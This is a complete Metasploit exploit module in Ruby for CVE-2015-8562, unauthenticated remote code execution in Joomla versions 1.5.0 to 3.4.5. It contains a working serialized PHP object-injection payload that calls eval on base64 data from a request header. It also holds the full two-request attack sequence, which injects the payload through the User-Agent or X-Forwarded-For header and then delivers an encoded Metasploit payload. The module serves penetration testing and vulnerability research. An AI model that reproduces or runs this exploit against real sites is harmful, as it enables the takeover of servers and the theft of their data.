## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Joomla HTTP Header Unauthenticated Remote Code Execution', 'Description' => %q{ Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5. By storing user supplied headers in the databases session table it's possible to truncate the input by sending an UTF-8 character. The custom created payload is then executed once the session is read from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. In later versions the deserialisation of invalid session data stops on the first error and the exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and 5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1. }, 'Author' => [ 'Marc-Alexandre Montpas', # discovery 'Christian Mehlmauer' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-8562'], ['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'], ['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'], ['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'], ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'], ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'], ['URL', 'https://bugs.php.net/bug.php?id=70219'] ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Joomla 1.5.0 - 3.4.5', {}]], 'DisclosureDate' => 'Dec 14 2015', 'DefaultTarget' => 0) ) register_options( [ OptString.new('TARGETURI', [ true, 'The path to joomla', '/' ]), OptEnum.new('HEADER', [ true, 'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]]) ], self.class) register_advanced_options( [ OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]), ], self.class) end def check res = send_request_cgi({'uri' => target_uri.path }) unless res vprint_error("Connection timed out") return Exploit::CheckCode::Unknown end unless res.headers['X-Powered-By'] vprint_error("Unable to determine the PHP version.") return Exploit::CheckCode::Unknown end php_version, rest = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)(?:-(.+))?/i).flatten || '' version = Gem::Version.new(php_version) vulnerable = false # check for ubuntu and debian specific versions. Was fixed in # * 5.5.9+dfsg-1ubuntu4.13 # * 5.3.10-1ubuntu3.20 # * 5.4.45-0+deb7u1 # Changelogs (search for CVE-2015-6835 or #70219): # http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.13/changelog # http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.3.10-1ubuntu3.20/changelog # http://metadata.ftp-master.debian.org/changelogs/main/p/php5/php5_5.4.45-0+deb7u2_changelog if rest && rest.include?('ubuntu') sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || '' vprint_status("Found Ubuntu PHP version #{res.headers['X-Powered-By']}") if version > Gem::Version.new('5.5.9') vulnerable = false elsif version == Gem::Version.new('5.5.9') && Gem::Version.new(sub_version) >= Gem::Version.new('4.13') vulnerable = false elsif version == Gem::Version.new('5.3.10') && Gem::Version.new(sub_version) >= Gem::Version.new('3.20') vulnerable = false else vulnerable = true end elsif rest && rest.include?('+deb') sub_version = rest.scan(/^\d+\+deb([\du]+)/i).flatten.first || '' vprint_status("Found Debian PHP version #{res.headers['X-Powered-By']}") if version > Gem::Version.new('5.4.45') vulnerable = false elsif version == Gem::Version.new('5.4.45') && sub_version != '7u1' vulnerable = false else vulnerable = true end else vprint_status("Found PHP version #{res.headers['X-Powered-By']}") vulnerable = true if version <= Gem::Version.new('5.4.44') vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28')) vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12')) end unless vulnerable vprint_error('This module currently does not work against this PHP version') return Exploit::CheckCode::Safe end res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'administrator', 'manifests', 'files', 'joomla.xml') }) if res && res.code == 200 && res.body && res.body.include?('Joomla! Project') joomla_version = res.body.scan(/([\d\.]+)<\/version>/i).flatten.first || '' unless joomla_version.empty? vprint_status("Detected Joomla version #{joomla_version}") return Exploit::CheckCode::Appears if Gem::Version.new(joomla_version) < Gem::Version.new('3.4.6') end end res.get_html_meta_elements.each do |element| if element.attributes['name'] && /^generator$/i === element.attributes['name'] && element.attributes['content'] && /joomla/i === element.attributes['content'].value return Exploit::CheckCode::Detected end end Exploit::CheckCode::Safe end # gets a random 4 byte UTF-8 character def get_terminator # valid codepoints for 4byte UTF-8 chars: U+010000 - U+10FFFF [rand(0x10000..0x10ffff)].pack('U*') end def get_payload(header_name) pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|" pre_pay = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";' pay = "eval(base64_decode($_SERVER['HTTP_#{header_name}']));JFactory::getConfig();exit;" post_pay = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}' t1000 = get_terminator return "#{pre}#{pre_pay}s:#{pay.length}:\"#{pay}#{post_pay}#{t1000}" end def print_status(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end def exploit if check == Exploit::CheckCode::Safe && datastore['FORCE'] == false print_error('Target seems safe, so we will not continue.') return end print_status("Sending payload ...") header_name = Rex::Text.rand_text_alpha_upper(5) res = send_request_cgi({ 'method' => 'GET', 'uri' => target_uri.path, 'headers' => { datastore['HEADER'] => get_payload(header_name) } }) fail_with(Failure::Unknown, 'No response') if res.nil? session_cookie = res.get_cookies send_request_cgi({ 'method' => 'GET', 'uri' => target_uri.path, 'cookie' => session_cookie, 'headers' => { header_name => Rex::Text.encode_base64(payload.encoded) } }) end end